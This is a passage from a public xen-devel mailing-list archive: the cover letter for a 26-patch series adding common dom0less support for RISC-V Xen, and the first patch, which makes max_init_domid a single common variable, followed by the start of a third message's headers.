DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783353498; x=1783958298; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:message-id:date:subject:cc
         :to:from:from:to:cc:subject:date:message-id:reply-to;
        bh=6/PDQZ3VxDQuT8ca8krMapwVAoPTeiAchpcu67sNlkA=;
        b=rxhLi/9Qx94ifGMJKlu4SYkl0TkeEM2F631W8y0P/Rco/pOVEqMNqx35f0c30wB6zV
         Sa/mAuWtGXA1YmQjYcwm6fKIPbngwQuYONWViB6iWFbdL9wk1mub7DPVdgtFDxbyk89l
         taNmUaVhU+6K9lA/Mw5wKkDiYEIEiADoTVxuwAQeaNFMV7GNWg6/R8rU+H6xyAOviuMI
         MMCOp600XhJA3chaMLF22MZWfWLGkNHn35v/AGaFlxCr4Kc0I87P6+t/rDh0ZLHTo5p4
         JoXH3ovk59jIZMN4UjTvOGFPA9cIQznzMEcbKZKftiLff3tn+SDGj7wYvH0xbdkKQBZw
         PVkA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783353498; x=1783958298;
        h=content-transfer-encoding:mime-version:message-id:date:subject:cc
         :to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=6/PDQZ3VxDQuT8ca8krMapwVAoPTeiAchpcu67sNlkA=;
        b=jOFQ84VuwcOeN+NZJsp7TvuCTwSrFEacsJPdO3TBFvjM5ChbJyavXcI7+jsKXpeWbw
         WecedUq+hhricUiEo086mf1x/TkD80pnxnytX1UyzU36dSEIzMRAFBVQ2XJGlMKepaKb
         263HIVViHiHQR7NS/ey+3IGk9JACyaZ3D8RmOIGRs+rVfBsr9m3y8H1w1lUwEXS06e7E
         v6rmw78/doWdbIljGpXeYs5mdE3edt4sHokTYj9DD4SQeezFjxX5qr1JVvfV+ZHAcndE
         LKhFF998qwsvFvH48DrN1OKgm/vRer+5xa5Gn9UcRL+6t3iOTg/0do/8lgeNE+wa7dLJ
         ySsw==
X-Gm-Message-State: AOJu0YwndaqSWhG562nQM9JwE+0jNLZPjPjaalUdE7u5LYjEOYItwu+/
	zatjeWHuOqS549WCwjxAsoK/dzRJglBYrlH0IaWtT52cAXJLbOYKZFPDTdJMkQ==
X-Gm-Gg: AfdE7cmFso5aejaKLI3rO3MJP2HWSVEyaDbORCn1Q5613YwRClNzS33IfkEr7tsEcdo
	ALBdICM7HxUz38CbMeFkee15OeNEaYA602jbR8KBkDDjK/X3MShrsC++4KZuqAyX+jvNRL3v7h/
	GtWxWWsCwfkA+fE/87sqokB4tAx5/QBGQQ7A7RZO5pkDlokelNiAEzSZ2KYz9t2QsADEeEx2q5O
	d5XsmeyJkbQkIhEEeWF9NEvguuso5+oiHt1TZH/jlDSTskYIab7QkCvKill1i6cstGFXhq+rXUf
	CShAyGVVvZJaUdEbedn17nltw65gk4LflR0ptVm+ML+prVfBb4hMMe+pBqKDJydPAvrFaf4tlql
	Lx7bs2PoTfc5j7MqAd5kq2Fl51Nly2ehp/reCC9aXChqOdvFwDUKg9IukDI6I1tRgoDRmsnNhlk
	wQ4qV8cVLr/pSvGZszfnKQq30nIR39WR/4u52zFDOt0Z3DBTnMG6d3IEpRaA==
X-Received: by 2002:a05:600c:4e56:b0:492:7025:13fd with SMTP id 5b1f17b1804b1-493deb5de6amr16144795e9.0.1783353498198;
        Mon, 06 Jul 2026 08:58:18 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Julien Grall <julien@xen.org>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Jan Beulich <jbeulich@suse.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Timothy Pearson <tpearson@raptorengineering.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	"Daniel P. Smith" <dpsmith@apertussolutions.com>
Subject: [PATCH v5 00/26] Introduce enablemenant of dom0less
Date: Mon,  6 Jul 2026 17:57:41 +0200
Message-ID: <cover.1783331040.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-c1860d/1783353498-48E6E3FC-31129E3E/10/73395122804
X-purgate-type: spam
X-purgate-size: 5803

This patch series reprensent a bunch of patches necessary to enable common part
of Dom0less.
The stuff necessary to start/launch domains will be introduced separately.

CI tests: https://gitlab.com/xen-project/people/olkur/xen/-/pipelines/2654761158

---
Changes in v5:
 - Add new patch (xen/riscv: do a 4th linking pass if necessary) which fixes
   randconfig job issue.
 - Address comments from ML.
---
Changes in v4:
 - Address comments from ML.
---
Changes in v3:
 - Drop dependency from other patch series
   ([1] https://lore.kernel.org/xen-devel/cover.1778140240.git.oleksii.kurochko@gmail.com/T/#t)
   as it was merged.
 - Reorder patches:
   - move common patches to the start.
   - Move some patches to separate patch series (will be introduced later)
 - Address comments from ML.
---
Changes in v2:
 - Move patch "[PATCH v1 04/27] xen/riscv: rework G-stage mode handling" to
   patch series [1]
 - Address the comments from ML.
 - The following patches were folded into one:
   # xen/riscv: implement init_intc_phandle()
   # xen/riscv: call do_initcalls() in start_xen()
   # xen/riscv: setup system domains
 - The following patch were folded into one:
   # xen/riscv: add vaplic access check
   # xen/riscv: emulate guest writes to virtual APLIC MMIO
   # xen/riscv: emulate guest reads from virtual APLIC MMIO
 - Add new bug fix, not really necessary to this patch series:
   xen/riscv: manage IRQ_DISABLED flag in APLIC irq enable/disable callbacks
---

Oleksii Kurochko (26):
  xen/dom0less: turn max_init_domid into a common variable
  xen: arm: move declaration of map_device_irqs_to_domain() to common
    header
  xen: arm: update p2m_set_allocation() prototype
  xen/Kconfig: introduce HAS_STATIC_MEMORY
  xen/riscv: rename enum intc_version to intc_variant
  xen/riscv: Implement ARCH_PAGING_MEMPOOL
  xen/riscv: Implement construct_domain()
  xen/riscv: implement prerequisites for domain_create()
  xen/riscv: introduce guest riscv,isa string
  xen/riscv: implement make_cpus_node()
  xen/riscv: implement make_timer_node()
  xen/riscv: implement make_arch_nodes()
  xen/riscv: introduce init interrupt controller operations
  xen/riscv: implement make_intc_domU_node()
  xen/riscv: introduce aia_init() and aia_usable()
  xen/riscv: introduce per-vCPU IMSIC state
  xen/riscv: introduce minimal virtual APLIC (vAPLIC) infrastructure
  xen/riscv: introduce (de)initialization helpers for vINTC
  xen/riscv: generate IMSIC DT node for guest domains
  xen/riscv: create APLIC DT node for guest domains
  xen/riscv: implement IRQ routing for device passthrough
  xen/riscv: implement init_intc_phandle()
  xen/riscv: initialize RCU, scheduler, and system domains in
    start_xen()
  xen/riscv: provide init_vuart()
  xen/riscv: add initial dom0less infrastructure support
  xen/riscv: do a 4th linking pass if necessary

 build/tools/fixdep                        | Bin 0 -> 13632 bytes
 xen/arch/arm/Kconfig                      |   1 +
 xen/arch/arm/device.c                     |   9 +-
 xen/arch/arm/include/asm/p2m.h            |   1 -
 xen/arch/arm/include/asm/setup.h          |   5 -
 xen/arch/arm/mmu/p2m.c                    |  24 +--
 xen/arch/arm/setup.c                      |   2 -
 xen/arch/ppc/include/asm/setup.h          |   2 -
 xen/arch/riscv/Kconfig                    |   3 +
 xen/arch/riscv/Makefile                   |  20 +-
 xen/arch/riscv/aia.c                      |  23 +++
 xen/arch/riscv/aplic-priv.h               |  14 ++
 xen/arch/riscv/aplic.c                    |  16 +-
 xen/arch/riscv/cpufeature.c               | 132 +++++++++---
 xen/arch/riscv/device.c                   |  94 +++++++++
 xen/arch/riscv/dom0less-build.c           |  40 ++++
 xen/arch/riscv/domain-build.c             | 211 +++++++++++++++++++
 xen/arch/riscv/domain.c                   |  45 +++-
 xen/arch/riscv/imsic.c                    | 179 +++++++++++++++-
 xen/arch/riscv/include/asm/aia.h          |  10 +
 xen/arch/riscv/include/asm/aplic.h        |  10 +
 xen/arch/riscv/include/asm/cpufeature.h   |   6 +
 xen/arch/riscv/include/asm/domain.h       |   7 +
 xen/arch/riscv/include/asm/guest-layout.h |  24 +++
 xen/arch/riscv/include/asm/imsic.h        |  25 +++
 xen/arch/riscv/include/asm/intc.h         |  48 ++++-
 xen/arch/riscv/include/asm/irq.h          |   5 +
 xen/arch/riscv/include/asm/paging.h       |   2 +-
 xen/arch/riscv/include/asm/setup.h        |   2 -
 xen/arch/riscv/include/asm/vaplic.h       |  34 ++++
 xen/arch/riscv/intc.c                     | 102 +++++++++-
 xen/arch/riscv/irq.c                      | 238 ++++++++++++++++++++++
 xen/arch/riscv/p2m.c                      |  33 ++-
 xen/arch/riscv/paging.c                   |   7 +-
 xen/arch/riscv/setup.c                    |  12 ++
 xen/arch/riscv/stubs.c                    |  17 --
 xen/arch/riscv/vaplic.c                   | 142 +++++++++++++
 xen/arch/x86/include/asm/setup.h          |   2 -
 xen/common/Kconfig                        |   4 +
 xen/common/device-tree/dom0less-build.c   |   2 +-
 xen/common/domid.c                        |   5 +
 xen/drivers/char/console.c                |   1 +
 xen/include/xen/dom0less-build.h          |   7 +
 xen/include/xen/fdt-domain-build.h        |  13 ++
 xen/include/xen/p2m-common.h              |   8 +
 45 files changed, 1470 insertions(+), 117 deletions(-)
 create mode 100755 build/tools/fixdep
 create mode 100644 xen/arch/riscv/aia.c
 create mode 100644 xen/arch/riscv/device.c
 create mode 100644 xen/arch/riscv/domain-build.c
 create mode 100644 xen/arch/riscv/include/asm/aia.h
 create mode 100644 xen/arch/riscv/include/asm/vaplic.h
 create mode 100644 xen/arch/riscv/vaplic.c

-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 15:58:23 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 15:58:23 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355484.1610274 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgliB-0006dZ-7y; Mon, 06 Jul 2026 15:58:23 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355484.1610274; Mon, 06 Jul 2026 15:58:23 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgliB-0006dQ-4v; Mon, 06 Jul 2026 15:58:23 +0000
Received: by outflank-mailman (input) for mailman id 1355484;
 Mon, 06 Jul 2026 15:58:21 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wgli9-0006UQ-HS
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 15:58:21 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgli8-00AcTL-RM
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 17:58:20 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd070-5cb7-0a2a0a5109dd-0a2a4508e958-40
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:20 +0200
Received: from [209.85.221.49] (helo=mail-wr1-f49.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd09c-edec-0a2a45080019-d155dd31f13a-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:20 +0200
Received: by mail-wr1-f49.google.com with SMTP id
 ffacd0b85a97d-475881b9a4bso2780970f8f.3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 08:58:20 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493cce03fa1sm284910325e9.11.2026.07.06.08.58.18
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 08:58:19 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783353500; x=1783958300; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=pkd0v8Xp/yZj78/ox1+RnfdTHP8Nmjo3Xh1oO+t56kw=;
        b=WIOzPhMw5ynVQbkmJm7fEDb29hMVDpigmlRBSyGdh2YsCLuXkAYFaRMyFHMe+HqfFF
         seSELFyBsPvdt1GqEBsaPSEj0O/6GqziQUS7d54JBUAwLriaxWHjDgJYjaq08zRtT86U
         RNPlaJAC4fSd2FrWWZ4u0MAIznlnFvuA5LhWa6mzLqnmy2Vd2Nt1dqfhatSz6lFnAeTf
         QaQw4mpKzzpL52uVMwIjXxdkLNZObbZhLxcykkT2IuCDdwWazQmSXCvYqgFCUCK7fALX
         sIRQFURA1XmBXfJqqcD2vYRNA9svvpPHQ/RhrVVQQr4Zc2uQhSXxz4zxFmPNGOD2s5sq
         NBwA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783353500; x=1783958300;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=pkd0v8Xp/yZj78/ox1+RnfdTHP8Nmjo3Xh1oO+t56kw=;
        b=mcp0FDtzZlJIiJmwfEFAngof5TJjqxxnpx0iCTZZi2fNs2GKb1DmC/1pcUDz3C6jBc
         dExRK8pXLo9rTXrvR9sFvK8lRaph+bwwdEp9vxSVUp+qqQjLmhNTjaHT27WFGAtYpruF
         q/QP0kKC0IYFrnLWjw4LTavqK1aLoSCv+tjhUrds67Q1h4IOyfGL9l7b67B3jbOGb5fF
         VLyrjleVNp5RWPs1uI/EhJFOnrDTk2/hiQIehMQQ3EugVbw/lcty0xVp4H1fSk1iP+LX
         uiDDS1C2L+kEKA27/t4HFZXcAuPzl5EOkxDMeKSIjdq3V1YQBEEyIMAOX3d1Kza6B0U4
         6AbA==
X-Gm-Message-State: AOJu0YyVEZ7uho/3wEgukzS7i9p2u+OUckd6AuHIbO5rnvjenkNV5vtz
	KlAm/Mwtgu+kti3bSyc6F2NLbtQ8sfpNb4Et/6rcLxWh3EOJWj68NPhgWrCKnQ==
X-Gm-Gg: AfdE7cnErzZvbchNPiage6n8qnVbwhCHJ0KCswf9bnmMgLVLjm5VZ3THnhFtnyf1Khj
	3RM6nm4DKL+wIXbXcrDbtAeE2wnBYog+LjgX4GD0isXVabRTInec6r2jn5yi0gcOfYEn8UtBJg2
	zXcMbPoVKTaOG24hOQ/Xw6LOQ46S/tD2Rqnuld2sxGMsGi0JWBM/9khU6kvgBvZ+8udUP6md7dJ
	o6fZ13N1Ozvg2d6Kz8kg5G2cQV+JmJsqDGeMcoTW8TrrvBrtOcTUG6IlR67cPWM2NaaXnb6S2lf
	40kHDFlI4j/bOQkJ32MU8r2VEXhSDRQJjaX9f46cPsrOxdcr9iu+66haruB1C9pnSu+te0RQb2a
	JsOgQrtzCR4GfqC1bsErTpIy56UiEf+vCbw3RiaXsuXUaM8FpVt9z1Fy6IXJGBPxnjW/FjI3SqI
	NzwrUYCuqUM+9JqNKjeQtdXlYv7by7EkiuxOuWXNa8rbTZEM8Xxm7oi9tA+7M2j3E8+9oL
X-Received: by 2002:a05:600c:530c:b0:490:9782:3eb8 with SMTP id 5b1f17b1804b1-493df087129mr11946045e9.25.1783353499906;
        Mon, 06 Jul 2026 08:58:19 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Julien Grall <julien@xen.org>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Jan Beulich <jbeulich@suse.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Timothy Pearson <tpearson@raptorengineering.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Teddy Astie <teddy.astie@vates.tech>
Subject: [PATCH v5 01/26] xen/dom0less: turn max_init_domid into a common variable
Date: Mon,  6 Jul 2026 17:57:42 +0200
Message-ID: <36325cfc8ad82a85d9039965222e278058a18a60.1783331040.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1783331040.git.oleksii.kurochko@gmail.com>
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-c1860d/1783353500-A2D3B3FC-209DFCE5/10/73395122804
X-purgate-type: spam
X-purgate-size: 5768

Until now every architecture carried its own notion of max_init_domid:
Arm defined a real variable (declared in asm/setup.h, defined in
setup.c), while ppc, riscv and x86 each provided a "#define
max_init_domid (0)" stub in their asm/setup.h. This duplicated the same
declaration across all arches and placed a purely dom0less concept in
arch setup headers.

Now that the dom0less build code lives in common (xen/common/
device-tree/dom0less-build.c sets max_init_domid, and the console
serial-input switcher reads it), there is no reason for the symbol to be
per-arch. Provide a single declaration in <xen/dom0less-build.h>, with
the !CONFIG_DOM0LESS_BOOT stub kept there as well, so there is one source
of truth and the arch headers no longer need to mention it. Update
console.c to include <xen/dom0less-build.h> for the declaration instead
of relying on asm/setup.h.

Place the definition in xen/common/domid.c rather than in dom0less-
build.c. The latter is built as dom0less-build.init.o, i.e. the whole
object is relocated into the .init.* sections and freed after boot,
whereas max_init_domid must outlive boot because it is read at runtime
by the console serial-input switcher. domid.c is always linked (obj-y)
and resides in regular (non-init) sections, so it is a correct home for
the variable. It is marked __ro_after_init since it is only updated
while creating boot-time domains and read-only afterwards, and guarded
by CONFIG_DOM0LESS_BOOT as domid.c itself is unconditional.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Reviewed-by: Jan Beulich <jbeulich@suse.com>
---
Changes in v5:
 - Add Reviewed-by: Jan Beulich <jbeulich@suse.com>
---
Changes in v4:
 - New patch.
---
---
 xen/arch/arm/include/asm/setup.h   | 2 --
 xen/arch/arm/setup.c               | 2 --
 xen/arch/ppc/include/asm/setup.h   | 2 --
 xen/arch/riscv/include/asm/setup.h | 2 --
 xen/arch/x86/include/asm/setup.h   | 2 --
 xen/common/domid.c                 | 5 +++++
 xen/drivers/char/console.c         | 1 +
 xen/include/xen/dom0less-build.h   | 7 +++++++
 8 files changed, 13 insertions(+), 10 deletions(-)

diff --git a/xen/arch/arm/include/asm/setup.h b/xen/arch/arm/include/asm/setup.h
index 0d29b46ea52b..14fa92d5c1db 100644
--- a/xen/arch/arm/include/asm/setup.h
+++ b/xen/arch/arm/include/asm/setup.h
@@ -25,8 +25,6 @@ struct map_range_data
     struct rangeset *irq_ranges;
 };
 
-extern domid_t max_init_domid;
-
 void copy_from_paddr(void *dst, paddr_t paddr, unsigned long len);
 
 size_t estimate_efi_size(unsigned int mem_nr_banks);
diff --git a/xen/arch/arm/setup.c b/xen/arch/arm/setup.c
index 6310a47d68b6..86532d0a35b6 100644
--- a/xen/arch/arm/setup.c
+++ b/xen/arch/arm/setup.c
@@ -62,8 +62,6 @@ struct cpuinfo_arm __read_mostly system_cpuinfo;
 bool __read_mostly acpi_disabled;
 #endif
 
-domid_t __read_mostly max_init_domid;
-
 static __used void noreturn init_done(void)
 {
     /* Must be done past setting system_state. */
diff --git a/xen/arch/ppc/include/asm/setup.h b/xen/arch/ppc/include/asm/setup.h
index e4f64879b68c..956fa6985adb 100644
--- a/xen/arch/ppc/include/asm/setup.h
+++ b/xen/arch/ppc/include/asm/setup.h
@@ -1,6 +1,4 @@
 #ifndef __ASM_PPC_SETUP_H__
 #define __ASM_PPC_SETUP_H__
 
-#define max_init_domid (0)
-
 #endif /* __ASM_PPC_SETUP_H__ */
diff --git a/xen/arch/riscv/include/asm/setup.h b/xen/arch/riscv/include/asm/setup.h
index 2215894cfbb1..73ce2f293348 100644
--- a/xen/arch/riscv/include/asm/setup.h
+++ b/xen/arch/riscv/include/asm/setup.h
@@ -5,8 +5,6 @@
 
 #include <xen/types.h>
 
-#define max_init_domid (0)
-
 void setup_mm(void);
 
 void copy_from_paddr(void *dst, paddr_t paddr, unsigned long len);
diff --git a/xen/arch/x86/include/asm/setup.h b/xen/arch/x86/include/asm/setup.h
index b01e83a8ed9f..5925c5f39cff 100644
--- a/xen/arch/x86/include/asm/setup.h
+++ b/xen/arch/x86/include/asm/setup.h
@@ -68,6 +68,4 @@ extern bool opt_dom0_verbose;
 extern bool opt_dom0_cpuid_faulting;
 extern bool opt_dom0_msr_relaxed;
 
-#define max_init_domid (0)
-
 #endif
diff --git a/xen/common/domid.c b/xen/common/domid.c
index b0258e477c1a..cd46cf952be6 100644
--- a/xen/common/domid.c
+++ b/xen/common/domid.c
@@ -9,6 +9,11 @@
  */
 
 #include <xen/domain.h>
+#include <xen/dom0less-build.h>
+
+#ifdef CONFIG_DOM0LESS_BOOT
+domid_t __ro_after_init max_init_domid;
+#endif
 
 static DEFINE_SPINLOCK(domid_lock);
 static DECLARE_BITMAP(domid_bitmap, DOMID_FIRST_RESERVED);
diff --git a/xen/drivers/char/console.c b/xen/drivers/char/console.c
index bcd6d261491b..4c09f4c7a984 100644
--- a/xen/drivers/char/console.c
+++ b/xen/drivers/char/console.c
@@ -31,6 +31,7 @@
 #include <xen/warning.h>
 #include <xen/pv_console.h>
 #include <asm/setup.h>
+#include <xen/dom0less-build.h>
 #include <xen/sections.h>
 #include <xen/consoled.h>
 
diff --git a/xen/include/xen/dom0less-build.h b/xen/include/xen/dom0less-build.h
index 4118dec76c0a..8d4da16d1f0a 100644
--- a/xen/include/xen/dom0less-build.h
+++ b/xen/include/xen/dom0less-build.h
@@ -5,6 +5,8 @@
 
 #include <xen/stdbool.h>
 
+#include <public/xen.h>
+
 struct domain;
 
 #ifdef CONFIG_DOM0LESS_BOOT
@@ -13,6 +15,9 @@ struct boot_domain;
 struct dt_device_node;
 struct kernel_info;
 
+/* Highest domain ID assigned to a boot-time (dom0less) domain. */
+extern domid_t max_init_domid;
+
 /*
  * List of possible features for dom0less domUs
  *
@@ -72,6 +77,8 @@ static inline bool is_dom0less_mode(void)
 }
 static inline void set_xs_domain(struct domain *d) {}
 
+#define max_init_domid 0
+
 #endif /* CONFIG_DOM0LESS_BOOT */
 
 #endif /* __ASM_GENERIC_DOM0LESS_BUILD_H__ */
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 15:58:23 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 15:58:23 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355485.1610279 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgliB-0006gV-IJ; Mon, 06 Jul 2026 15:58:23 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355485.1610279; Mon, 06 Jul 2026 15:58:23 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgliB-0006fo-CV; Mon, 06 Jul 2026 15:58:23 +0000
Received: by outflank-mailman (input) for mailman id 1355485;
 Mon, 06 Jul 2026 15:58:22 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wgliA-0006be-8s
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 15:58:22 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgli9-009ym5-Lu
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 17:58:21 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd091-e002-0a2a0a5209dd-0a2a4504c49a-12
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:21 +0200
Received: from [209.85.128.44] (helo=mail-wm1-f44.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd09d-a01d-0a2a45040019-d155802cd40f-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:21 +0200
Received: by mail-wm1-f44.google.com with SMTP id
 5b1f17b1804b1-493b691cb44so22993425e9.0
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 08:58:21 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493cce03fa1sm284910325e9.11.2026.07.06.08.58.20
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 08:58:20 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783353501; x=1783958301; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=TyI+cJHXlQ/CsV0qqhbFZd2j4tvOANbiay87gjrrueY=;
        b=qDnciBfZtJRbTNFwbjMTYiwA/WrvW2KfssSKc+9+A9/3wXG0U4LpQuLfeCKnOBJB/n
         XIOzWS/ACanUqcdP9f9XFznoiraAyFWdJB/C8d8H0VNEt/oPD9b6WdEJ2tq6JDOfRIgr
         V6nUsFeKYB9KfZ7NRG8ZQtLwa5afX/IqNU+y7gXIsj3iWOJDCKqRiSyi26+AIRALceZx
         BXwzk1JLzbc93vp3Xz6Ee4640HqzyevpK4i2pnvfnWJGy+EfUA5f6EvYVcQKaQ9rFGqL
         rXEAEEw9+6Vgyi0Op1x9DxMJyLFZvwfE4KgWq00ZtkIOCyyJv+0QF/PLThe7SS7N5RKQ
         PQPQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783353501; x=1783958301;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=TyI+cJHXlQ/CsV0qqhbFZd2j4tvOANbiay87gjrrueY=;
        b=MWyhNOYCiCjmIES/NqcvMxj5c4BKFqXROGsIxbe9GGY4C5zmskkdEIGma4Ggfja/FO
